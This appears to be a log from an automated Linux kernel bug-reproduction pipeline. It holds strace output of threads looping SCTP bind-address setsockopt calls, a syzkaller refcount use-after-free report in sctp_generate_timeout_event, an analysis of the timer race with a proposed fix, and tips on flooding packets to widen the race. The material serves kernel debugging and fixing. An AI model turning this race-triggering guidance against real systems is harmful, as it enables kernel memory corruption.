[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[+] Connected successfully.
[+] Done.
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5848] write(1, "[+] Connected successfully.\n[+] Done.\n", 38 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5848] <... write resumed>)        = 38
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5848] exit_group(0 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5848] <... exit_group resumed>)   = ?
[pid  5849] +++ exited with 0 +++
[pid  5851] +++ exited with 0 +++
[pid  5850] +++ exited with 0 +++
[pid  5852] +++ exited with 0 +++
+++ exited with 0 +++
[   76.587273][   T67] cfg80211: failed to load regulatory.db
]

deep-reasoning

map[Feedback:The reproduction attempt failed to trigger the crash because the bug is caused by an extremely tight race condition in `sctp_cmd_interpreter` that is highly non-deterministic and difficult to hit reliably in a short C reproducer.

The root cause is a reference count leak (underflow) leading to a use-after-free of the SCTP association. In `net/sctp/sm_sideeffect.c`, the `SCTP_CMD_TIMER_START` command is processed as follows:

```c
case SCTP_CMD_TIMER_START:
    timer = &asoc->timers[cmd->obj.to];
    timeout = asoc->timeouts[cmd->obj.to];
    BUG_ON(!timeout);

    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
    break;
```

The code checks `timer_pending(timer)` to determine if the timer is already running. If it returns `true`, it assumes the timer already holds a reference to the association and skips `sctp_association_hold(asoc)`. 

However, if the timer expires and is dequeued by the timer softirq EXACTLY in the tiny window between the `timer_pending(timer)` check and the `timer_reduce(...)` call, `timer_reduce` will re-enqueue the timer (since it is no longer pending). Because `sctp_association_hold(asoc)` was skipped, the newly enqueued timer does NOT have a corresponding reference count increment.

When this timer eventually expires, its callback (`sctp_generate_timeout_event`) will call `sctp_association_put(asoc)`, dropping a reference that was never taken. This causes the association's refcount to drop to 0 prematurely. Later, when the timer callback reschedules itself (e.g., because `sock_owned_by_user(sk)` is true), it calls `sctp_association_hold(asoc)` on a 0-refcount object, triggering the `refcount_t: addition on 0; use-after-free` warning.

This race can be triggered when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending (e.g., `T2_SHUTDOWN` when receiving a duplicate `COOKIE_ECHO` in `SHUTDOWN_SENT` state, or `T4_RTO` during concurrent ASCONF operations).

To fix this bug, the code must rely on the atomic return value of `timer_reduce()` (which returns 0 if the timer was inactive and started, and 1 if it was active). The correct logic is:

```c
    if (!timer_reduce(timer, jiffies + timeout))
        sctp_association_hold(asoc);
```

To improve the reproducer, you would need to flood the socket with events that trigger `SCTP_CMD_TIMER_START` on an already pending timer (e.g., flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state) to increase the probability of hitting the instruction-level race window with the timer expiration. ProbePassed:false TerminalError: TitleMatches:true]

You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
   - Determine if the triggered crash matches the expected bug.
   - If you conclude they represent the same underlying bug (the same root cause)
     despite different titles, crash signatures, or call traces, set TitleMatches
     to true and provide a detailed, technical, and verbose explanation of the
     equivalence in the 'Feedback' field.
   - If they do not represent the same bug (a completely unrelated crash/collision),
     set TitleMatches to false and explain the collision in 'Feedback'.
   - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
   - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
     to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
     and provide feedback on how to improve the reproducer logic to trigger the crash.

Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
   the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
   or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: WARNING: refcount bug in sctp_generate_timeout_event

------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25, CPU#1: syz.0.2220/13955
Modules linked in:
CPU: 1 UID: 0 PID: 13955 Comm: syz.0.2220 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
RIP: 0010:refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25
Code: eb 66 85 db 74 3e 83 fb 01 75 4c e8 6b d2 e9 fc 48 8d 3d f4 46 a7 0b 67 48 0f b9 3a eb 4a e8 58 d2 e9 fc 48 8d 3d f1 46 a7 0b <67> 48 0f b9 3a eb 37 e8 45 d2 e9 fc 48 8d 3d ee 46 a7 0b 67 48 0f
RSP: 0018:ffffc90000a18c28 EFLAGS: 00010246
RAX: ffffffff84dde548 RBX: 0000000000000002 RCX: ffff88807715be80
RDX: 0000000000000100 RSI: 0000000000000100 RDI: ffffffff90852c40
RBP: 0000000000000000 R08: ffff88807715be80 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000100 R12: dffffc0000000000
R13: 0000000000000001 R14: ffff888020fde004 R15: ffff888020fde640
FS:  00007f4a87be06c0(0000) GS:ffff888124dda000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff55dd92eb8 CR3: 000000005800b000 CR4: 0000000000350ef0
Call Trace:
 <IRQ>
 sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284
 call_timer_fn+0x18d/0x5f0 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2374 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2386
 run_timer_base kernel/time/timer.c:2395 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2405
 handle_softirqs+0x226/0x860 kernel/softirq.c:645
 __do_softirq kernel/softirq.c:679 [inline]
 invoke_softirq kernel/softirq.c:519 [inline]
 __irq_exit_rcu+0xcb/0x220 kernel/softirq.c:767
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:784
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1062
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:674
RIP: 0010:lock_acquire+0x232/0x350 kernel/locking/lockdep.c:5913
Code: ff ff ff e8 a0 a9 40 0a f7 44 24 10 00 02 00 00 0f 84 38 ff ff ff 65 48 8b 05 f2 44 f1 11 48 3b 44 24 50 75 33 fb 48 83 c4 58 <5b> 41 5c 41 5d 41 5e 41 5f 5d e9 ba 25 6d ff cc 48 8d 3d 77 31 da
RSP: 0018:ffffc9000dabfac8 EFLAGS: 00000282
RAX: b29753db72d85c00 RBX: 0000000000000001 RCX: 8000000000000001
RDX: 00000000b866b3b2 RSI: ffffffff8e6fc28f RDI: ffffffff8c6d9380
RBP: ffff88807715be80 R08: 8c00000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: ffff888066f6e418 R12: ffff888066f6e418
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000246
 __raw_spin_lock include/linux/spinlock_api_smp.h:190 [inline]
 _raw_spin_lock+0x2e/0x40 kernel/locking/spinlock.c:173
 spin_lock include/linux/spinlock.h:347 [inline]
 __io_cq_lock io_uring/io_uring.c:484 [inline]
 __io_submit_flush_completions+0x85/0x10d0 io_uring/io_uring.c:1133
 io_submit_flush_completions io_uring/io_uring.h:253 [inline]
 io_submit_state_end io_uring/io_uring.c:1939 [inline]
 io_submit_sqes+0x1cec/0x2310 io_uring/io_uring.c:2063
 __do_sys_io_uring_enter io_uring/io_uring.c:2637 [inline]
 __se_sys_io_uring_enter+0x35b/0x1bb0 io_uring/io_uring.c:2586
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4a86d9e159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f4a87bdff38 EFLAGS: 00000246 ORIG_RAX: 00000000000001aa
RAX: ffffffffffffffda RBX: 0000200000000340 RCX: 00007f4a86d9e159
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000009
RBP: 0000000000000a12 R08: 0000000000000000 R09: 0000000000000008
R10: 0000000000000000 R11: 0000000000000246 R12: 0000200000000940
R13: 0000200000000948 R14: 0000000000000e26 R15: 0000000000000002
 </TASK>
----------------
Code disassembly (best guess):
   0:	eb 66                	jmp    0x68
   2:	85 db                	test   %ebx,%ebx
   4:	74 3e                	je     0x44
   6:	83 fb 01             	cmp    $0x1,%ebx
   9:	75 4c                	jne    0x57
   b:	e8 6b d2 e9 fc       	call   0xfce9d27b
  10:	48 8d 3d f4 46 a7 0b 	lea    0xba746f4(%rip),%rdi        # 0xba7470b
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 4a                	jmp    0x68
  1e:	e8 58 d2 e9 fc       	call   0xfce9d27b
  23:	48 8d 3d f1 46 a7 0b 	lea    0xba746f1(%rip),%rdi        # 0xba7471b
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 37                	jmp    0x68
  31:	e8 45 d2 e9 fc       	call   0xfce9d27b
  36:	48 8d 3d ee 46 a7 0b 	lea    0xba746ee(%rip),%rdi        # 0xba7472b
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf

IsProbe: false
Reproduced: false
Console Output: [   60.398117][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   60.398176][   T33] audit: type=1400 audit(1788282902.486:200): avc:  denied  { transition } for  pid=5826 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.399807][   T33] audit: type=1400 audit(1788282902.486:201): avc:  denied  { noatsecure } for  pid=5826 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.399826][   T33] audit: type=1400 audit(1788282902.486:202): avc:  denied  { rlimitinh } for  pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.399839][   T33] audit: type=1400 audit(1788282902.486:203): avc:  denied  { siginh } for  pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:20457' (ED25519) to the list of known hosts.
[   62.828209][   T33] audit: type=1400 audit(1788282904.916:204): avc:  denied  { create } for  pid=5839 comm="syz-executor387" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   62.834958][   T33] audit: type=1400 audit(1788282904.916:205): avc:  denied  { setopt } for  pid=5839 comm="syz-executor387" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   62.834980][   T33] audit: type=1400 audit(1788282904.916:206): avc:  denied  { bind } for  pid=5839 comm="syz-executor387" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   62.834993][   T33] audit: type=1400 audit(1788282904.916:207): avc:  denied  { name_bind } for  pid=5839 comm="syz-executor387" src=12345 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:unreserved_port_t tclass=sctp_socket permissive=1
[   62.835006][   T33] audit: type=1400 audit(1788282904.916:208): avc:  denied  { node_bind } for  pid=5839 comm="syz-executor387" saddr=127.0.0.1 src=12345 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:node_t tclass=sctp_socket permissive=1
[   62.835019][   T33] audit: type=1400 audit(1788282904.916:209): avc:  denied  { listen } for  pid=5839 comm="syz-executor387" laddr=127.0.0.1 lport=12345 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   65.526573][   T33] kauditd_printk_skb: 12 callbacks suppressed
[   65.526626][   T33] audit: type=1400 audit(1788282907.616:222): avc:  denied  { write } for  pid=5874 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   65.623831][   T33] audit: type=1400 audit(1788282907.706:223): avc:  denied  { write } for  pid=5877 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   65.983406][   T33] audit: type=1400 audit(1788282908.066:224): avc:  denied  { write } for  pid=5880 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.069967][   T33] audit: type=1400 audit(1788282908.156:225): avc:  denied  { write } for  pid=5883 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.209056][   T33] audit: type=1400 audit(1788282908.296:226): avc:  denied  { write } for  pid=5886 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.253409][   T33] audit: type=1400 audit(1788282908.336:227): avc:  denied  { write } for  pid=5889 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.425891][ T1379] ieee802154 phy0 wpan0: encryption failed: -22
[   66.425955][ T1379] ieee802154 phy1 wpan1: encryption failed: -22
[+] Connected successfully.
[+] Done.
[   76.667719][ T2225] cfg80211: failed to load regulatory.db

Strace Output: /strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2878070744

<...>
hed ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
